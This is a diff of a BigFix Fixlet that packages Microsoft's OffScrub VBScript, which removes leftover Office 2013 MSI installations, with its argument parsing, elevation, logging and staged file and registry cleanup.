-    iArgCnt = Wscript.Arguments.Count
-    If iArgCnt > 1 Then
-        If wscript.Arguments(1) = "UAC" Then
-            If wscript.arguments.count = 2 Then iArgCnt = 0
-        End If
-    End If
-
-    sArguments = ""
-    If iArgCnt = 0 Then
-        If sDefault = "" Then
-            'Create the log
-            CreateLog
-            Log "No argument specified. Preparing user prompt" & vbCrLf
-            fPassive = False
-            FindInstalledOProducts
-            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
-            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
-                    "Examples:" & vbCrLf & _
-                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
-                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
-                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
-                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
-                    "?" & vbTab & vbTab & "-> display Help", _
-                    SCRIPTFILE & " - " & ONAME & " remover", _
-                    sDefault)
-
-            If IsEmpty(sDefault) Then 'User cancelled
-                Log "User cancelled. CleanUp & Exit."
-                'Undo temporary entries created in ARP
-                TmpKeyCleanUp
-                wscript.quit 1602
-            End If 'IsEmpty(sDefault)
-            Log "Answer from prompt: " & sDefault & vbCrLf
-        End If
-        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
-        arrArguments = Split(Trim(sDefault), " ")
-        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
-    Else
-        ReDim arrArguments(iArgCnt-1)
-        For iCnt = 0 To (iArgCnt-1)
-            sArguments = sArguments & arrArguments(iCnt) & " "
-            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
-        Next 'iCnt
-    End If 'iArgCnt = 0
-
-    'Handle the SKU list
-    sArg0 = Replace(arrArguments(0), "/", "")
-    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
-
-    Select Case UCase(sArg0)
-
-    Case "?"
-        ShowSyntax
-
-    Case "ALL"
-        fRemoveAll = True
-        fRemoveOse = False
-
-    Case "CLIENTSUITES"
-        fRemoveCSuites = True
-        fRemoveOse = False
-
-    Case "CLIENTSTANDALONE"
-        fRemoveCSingle = True
-        fRemoveOse = False
-
-    Case "CLIENTALL"
-        fRemoveCSuites = True
-        fRemoveCSingle = True
-        fRemoveOse = False
-
-    Case "SERVER"
-        fRemoveSrv = True
-        fRemoveOse = False
-
-    Case "ALL,OSE"
-        fRemoveAll = True
-        fRemoveOse = True
-
-    Case Else
-        fRemoveAll = False
-        fRemoveOse = False
-        sSkuRemoveList = sArg0
-
-    End Select
-
-    For iCnt = 0 To UBound(arrArguments)
-
-        Select Case arrArguments(iCnt)
-
-        Case "?", "/?", "-?"
-            ShowSyntax
-
-        Case "/B", "/BYPASS"
-            If UBound(arrArguments) > iCnt Then
-                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
-                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
-                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
-                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
-            End If
-
-        Case "/D", "/DELETEUSERSETTINGS"
-            fKeepUser = False
-
-        Case "/FR", "/FASTREMOVE"
-            fBypass_Stage1 = True
-            fSkipSD = True
-
-        Case "/F", "/FORCE"
-            fForce = True
-
-        Case "/K", "/KEEPUSERSETTINGS"
-            fKeepUser = True
-
-        Case "/KEEPSG", "/KEEPSOFTGRID"
-            fKeepSG = True
-
-        Case "/KEEPLYNC"
-            fRemoveLync = False
-
-        Case "/REMOVELYNC"
-            fRemoveLync = True
-
-        Case "/L", "/LOG"
-            fLogInitialized = False
-            If UBound(arrArguments) > iCnt Then
-                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
-                    sLogDir = arrArguments(iCnt + 1)
-                Else
-                    On Error Resume Next
-                    oFso.CreateFolder(arrArguments(iCnt + 1))
-                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
-                End If
-            End If
-
-        Case "/NOCANCEL"
-            fNoCancel = True
-
-        Case "/NOREBOOT"
-            fNoReboot = True
-
-        Case "/NE", "/NOELEVATE"
-            fNoElevate = True
-
-        Case "/O", "/OSE"
-            fRemoveOse = True
-
-        Case "/P", "/PREVIEW", "/DETECTONLY"
-            fDetectOnly = True
-
-        Case "/PASSIVE", "/QB-"
-            fPassive = True
-
-        Case "/Q", "/QUIET"
-            fQuiet = True
-
-        Case "/QB"
-            fQuiet = True
-            fBasic = True
-
-        Case "/QND"
-            fBypass_Stage1 = True
-            fBypass_Stage2 = True
-            fBypass_Stage3 = True
-            fRemoveOse = True
-            fRemoveOspp = True
-            fRemoveAll = True
-            fSkipSD = True
-            fForce = True
-
-        Case "/R", "/RECONCILE"
-            fTryReconcile = True
-
-        Case "/REMOVEOSPP" , "/CLEANOSPP"
-            fRemoveOspp = True
-
-        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
-            fSkipSD = True
-
-        Case "/SC", "/SCANCOMPONENTS"
-            fBypass_Stage1 = False
-
-        Case Else
-
-        End Select
-    Next 'iCnt
-    If Not fLogInitialized Then CreateLog
-    LogOnly "Arguments: " & sArguments & vbCrLf
-
-End Sub 'ParseCmdLine
-'=======================================================================================================
-
-Sub CreateLog
-    Dim DateTime
-    Dim sLogName
-
-    On Error Resume Next
-    'Create the log file
-    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
-    DateTime.SetVarDate Now,True
-    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
-    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
-    sLogName = sLogName & "_ScrubLog.txt"
-    Err.Clear
-    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
-    If Err <> 0 Then
-        Err.Clear
-        sLogDir = sScrubDir
-        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
-        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
-        sLogName = sLogName & "_ScrubLog.txt"
-        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
-    End If
-
-    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
-                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
-                "64 bit OS: " & f64
-    LogOnly     "OS Details: " & sOSinfo & vbCrLf
-    Log         "Start removal: " & Now & vbCrLf
-    fLogInitialized = True
-End Sub 'CreateLog
-'=======================================================================================================
-'-------------------------------------------------------------------------------
-'   RelaunchAs64Host
-'
-'   Relaunch self with 64 bit WScript host
-'-------------------------------------------------------------------------------
-Sub RelaunchAs64Host
-    Dim Argument, sCmd
-
-    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
-    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
-        Next 'Argument
-    Else
-    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
-    End If
-    sCmd = sCmd & " /ChangedHostBitness"
-    Wscript.Quit oWShell.Run(sCmd, 1, True)
-
-End Sub 'RelaunchAs64Host
-'=======================================================================================================
-
-Sub RelaunchAsCScript
-    Dim Argument
-    Dim sCmdLine
-
-    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
-        Next 'Argument
-    End If
-    Log "Relaunching with CScript as host. Full command: " & sCmdLine
-    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
-End Sub 'RelaunchAsCScript
-'=======================================================================================================
-
-Sub RelaunchElevated
-    Dim Argument
-    Dim sCmdLine
-    Dim oShell
-
-    Set oShell = CreateObject("Shell.Application")
-
-    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            Select Case UCase(Argument)
-            Case "/Q","/QUIET"
-                'Don't try to relaunch in quiet mode
-                Exit Sub
-            Case "UAC"
-                'Already tried elevated relaunch
-                Exit Sub
-            Case Else
-                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
-            End Select
-        Next 'Argument
-    Else
-    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
-    End If
-    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
-    Wscript.Quit 5
-End Sub 'RelaunchElevated
-'=======================================================================================================
-
-'Show the expected syntax for the script usage
-Sub ShowSyntax
-    TmpKeyCleanUp
-    Wscript.Echo sErr & vbCrLf & _
-             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
-             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
-             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
-             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
-             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
-             vbTab & "/?                          ' Displays this help"& vbCrLf &_
-             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
-             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
-             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
-             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
-             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
-             "Examples:"& vbCrLf & _
-             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
-    Wscript.Quit
-End Sub 'ShowSyntax
-'=======================================================================================================
-_end_
-
-move __createfile "OffScrub_O15msi.vbs"
-
-waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2013 Components can be removed - Windows
+  ID       : 23822
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2013 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2013 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word|InfoPath) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2013&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
+
+createfile until _end_
+'=======================================================================================================
+' Name: OffScrub_O15msi.vbs
+' Author: Microsoft Customer Support Services
+' Copyright (c) 2011-2015 Microsoft Corporation
+' Script to remove (scrub) Office 2013 MSI products
+' when a regular uninstall is no longer possible
+'=======================================================================================================
+Option Explicit
+
+Dim sDefault
+'=======================================================================================================
+'[INI] Section for script behavior customizations
+
+'Pre-configure the SKU's to remove.
+'Only for use without command line parameters
+'Example: sDefault = "CLIENTALL"
+sDefault = ""
+
+'DO NOT CUSTOMIZE BELOW THIS LINE!
+'=======================================================================================================
+
+
+Const SCRIPTVERSION = "1.99"
+Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
+Const SCRIPTNAME    = "OffScrub_O15msi"
+Const OVERSION      = "15.0"
+Const OVERSIONMAJOR = "15"
+Const OREF          = "Office15"
+Const OREGREF       = "OFFICE15."
+Const ONAME         = "Office 2013 MSI"
+Const OPACKAGE      = "PackageRefs"
+Const OFFICEID      = "000000FF1CE}"
+Const HKCR          = &H80000000
+Const HKCU          = &H80000001
+Const HKLM          = &H80000002
+Const HKU           = &H80000003
+Const FOR_WRITING   = 2
+Const PRODLEN       = 12
+Const COMPPERMANENT = "00000000000000000000000000000000"
+Const UNCOMPRESSED  = 38
+Const SQUISHED      = 20
+Const COMPRESSED    = 32
+Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
+Const VB_YES        = 6
+Const MSIOPENDATABASEREADONLY = 0
+Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
+
+
+'=======================================================================================================
+Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
+Dim ComputerItem, Item, LogStream, TmpKey
+Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
+Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
+Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
+Dim f64, fLegacyProductFound, fCScript
+Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
+Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
+Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
+Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
+Dim iVersionNT
+
+'=======================================================================================================
+'Main
+'=======================================================================================================
+'Configure defaults
+Dim sLogDir : sLogDir = ""
+Dim sMoveMessage: sMoveMessage = ""
+Dim fRemoveOse      : fRemoveOse = False
+Dim fRemoveOspp     : fRemoveOspp = False
+Dim fRemoveAll      : fRemoveAll = False
+Dim fRemoveC2R      : fRemoveC2R = False
+Dim fRemoveAppV     : fRemoveAppV = False
+Dim fRemoveCSuites  : fRemoveCSuites = False
+Dim fRemoveCSingle  : fRemoveCSingle = False
+Dim fRemoveSrv      : fRemoveSrv = False
+Dim fRemoveLync     : fRemoveLync = False
+Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
+Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
+Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
+Dim fDetectOnly     : fDetectOnly = False
+Dim fQuiet          : fQuiet = True
+Dim fBasic          : fBasic = False
+Dim fNoCancel       : fNoCancel = False
+Dim fPassive        : fPassive = True
+Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
+Dim fNoElevate      : fNoElevate = False
+Dim fElevated       : fElevated = False
+Dim fTryReconcile   : fTryReconcile = False
+Dim fC2rInstalled   : fC2rInstalled = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fForce          : fForce = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fLogInitialized : fLogInitialized = False
+Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
+Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
+Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
+Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
+Dim fRebootRequired : fRebootRequired = False
+
+'Create required objects
+Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
+Set oWShell     = CreateObject("Wscript.Shell")
+Set oShellApp   = CreateObject("Shell.Application")
+Set oFso        = CreateObject("Scripting.FileSystemObject")
+Set oMsi        = CreateObject("WindowsInstaller.Installer")
+Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
+
+'Get environment path info
+sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
+sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
+sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
+sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
+RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
+If NOT oFso.FolderExists(sProfilesDirectory) Then
+    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
+End If
+sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
+'Deferred until after architecture check
+'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+
+sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
+'Deferred until after architecture check
+'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
+sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
+sWICacheDir         = sWinDir & "\" & "Installer"
+sScrubDir           = sTemp & "\" & SCRIPTNAME
+sScriptDir          = wscript.ScriptFullName
+sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
+
+' Get current script host
+fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
+
+'Detect if we're running on a 64 bit OS
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
+For Each Item In ComputerItem
+    f64 = Instr(Left(Item.SystemType,3),"64") > 0
+    If f64 Then Exit For
+Next
+If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+'Get OS details and VersionNT
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
+For Each Item in ComputerItem
+    sOSinfo = sOSinfo & Item.Caption
+    sOSinfo = sOSinfo & Item.OtherTypeDescription
+    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
+    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
+    sOsVersion = Item.Version
+    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
+    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
+    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
+Next
+
+'Build the VersionNT number
+arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
+iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
+
+'Check if we're running as 32 bit process on a 64 bit OS
+If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
+
+fElevated = CheckRegPermissions
+If NOT fElevated AND NOT fNoElevate Then
+    'Try to relaunch elevated
+    RelaunchElevated
+
+    'Can't relaunch. Exit out
+    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
+        If Not fLogInitialized Then CreateLog
+        Log "Insufficient registry access permissions - exiting"
+    End If
+    'Undo temporary entries created in ARP
+    TmpKeyCleanUp
+    wscript.quit 3
+End If
+
+'Create Dictionaries
+Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
+Set dicInstalledSku = CreateObject("Scripting.Dictionary")
+Set dicRemoveSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
+Set dicApps = CreateObject("Scripting.Dictionary")
+Set dicDelRegKey = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
+Set dicSrv = CreateObject("Scripting.Dictionary")
+Set dicCSuite = CreateObject("Scripting.Dictionary")
+Set dicCSingle = CreateObject("Scripting.Dictionary")
+
+'Create the temp folder
+If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
+
+'Set the default logging directory
+sLogDir = sScrubDir
+
+'Call the command line parser
+ParseCmdLine
+
+'Ensure CScript as engine
+If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
+
+'Get Office Install Folder
+If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
+    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
+End If
+
+'Ensure integrity of WI metadata which could fail used APIs otherwise
+EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
+
+'Add initial known .exe files that might need to be closed
+dicApps.Add "communicator.exe", "communicator.exe"
+dicApps.Add "setup.exe", "setup.exe"
+Select Case OVERSIONMAJOR
+Case "12"
+Case "14"
+    dicApps.Add "bcssync.exe","bcssync.exe"
+    dicApps.Add "officesas.exe","officesas.exe"
+    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
+    dicApps.Add "msosync.exe","msosync.exe"
+    dicApps.Add "onenotem.exe","onenotem.exe"
+Case "15"
+Case Else
+End Select
+
+'-------------------
+'Stage # 0 - Basics |
+'-------------------
+'Build a list with installed/registered Office products
+sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+
+FindInstalledOProducts
+If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
+
+'Validate the list of products we got from the command line if applicable
+ValidateRemoveSkuList
+
+'Log detection results
+If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
+sMode = "Selected " & ONAME & " products"
+If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
+If fRemoveAll Then sMode = "All " & ONAME & " products"
+Log "Final removal mode: " & sMode
+Log "Remove OSE service: " & fRemoveOse &vbCrLf
+
+'Log preview mode if applicable
+If fDetectOnly Then Log "*************************************************************************"
+If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
+If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
+If fDetectOnly Then Log "*************************************************************************" & vbCrLf
+
+'Check if there are legacy products installed
+CheckForLegacyProducts
+If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
+
+'Cache .msi files
+If dicRemoveSku.Count > 0 Then CacheMsiFiles
+
+'Log Sku/Prod detection results
+LogSkuResults
+
+'UnPin Shortcuts
+If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
+    On Error Resume Next
+    Log " Searching for pinned shortcuts"
+    CleanShortcuts sAllUsersProfile, False, True
+    CleanShortcuts sProfilesDirectory, False, True
+    On Error Goto 0
+End If 'NOT SkipSD
+
+
+'--------------------------------
+'Stage # 1 - Component Detection |
+'--------------------------------
+sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage1 OR fForce Then
+    'Build a list with files which are installed/registered to a product that's going to be removed
+    Log "Prepare for CleanUp stages."
+    Log "Identifying removable elements. This can take several minutes."
+    ScanComponents
+Else
+    Log "Not running Component Detection in default removal."
+End If
+
+'End all running Office applications
+If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+'----------------------
+'Stage # 2 - Setup.exe |
+'----------------------
+sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage2 Then
+    SetupExeRemoval
+Else
+    Log "Skipping Setup.exe because bypass was requested."
+End If
+
+'------------------------
+'Stage # 3 - Msiexec.exe |
+'------------------------
+sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage3 Then
+    MsiexecRemoval
+Else
+    Log "Skipping Msiexec.exe because bypass was requested."
+End If
+
+'--------------------
+'Stage # 4 - CleanUp |
+'--------------------
+'Removal of files and registry settings
+sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage4 Then
+
+    'Office Source Engine
+    If fRemoveOse Then RemoveOSE
+
+    'Local Installation Source (MSOCache)
+    WipeLIS
+
+    'Obsolete files
+    If fRemoveAll Then
+        FileWipeAll
+    Else
+        FileWipeIndividual
+    End If
+
+    'Empty Folders
+    DeleteEmptyFolders
+
+    'Restore Explorer if needed
+    If fForce OR fQuiet OR fPassive Then RestoreExplorer
+
+    'Registry data
+    RegWipe
+
